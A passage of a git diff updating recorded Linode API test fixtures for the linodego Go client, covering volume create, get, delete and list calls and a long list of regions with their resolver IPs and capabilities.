max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:34:41 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -97,9 +289,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -118,7 +313,7 @@ interactions: url: https://api.linode.com/v4beta/volumes method: POST response: - body: '{"id": 566467, "status": "creating", "label": "go-vol-test-def", "created": + body: '{"id": 4210935, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": @@ -135,15 +330,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "317" + - "318" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:34:42 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -156,9 +355,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "100" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -174,10 +376,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/volumes/566467 + url: https://api.linode.com/v4beta/volumes/4210935 method: GET response: - body: '{"id": 566467, "status": "creating", "label": "go-vol-test-def", "created": + body: '{"id": 4210935, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": @@ -194,16 +396,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "317" + - "318" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:34:42 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -217,9 +422,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -235,7 +443,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/volumes/566467 + url: https://api.linode.com/v4beta/volumes/4210935 method: DELETE response: body: '{}' @@ -251,15 +459,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:34:47 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -272,9 +484,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestVolume_List.yaml b/test/integration/fixtures/TestVolume_List.yaml index 8b4149189..2a229a734 100644 --- a/test/integration/fixtures/TestVolume_List.yaml +++ b/test/integration/fixtures/TestVolume_List.yaml @@ -14,56 +14,244 @@ interactions: url: https://api.linode.com/v4beta/regions method: GET response: - body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", + body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", - "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], - "page": 1, "pages": 1, "results": 11}' + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -76,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:34:35 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -97,9 +289,12 @@ 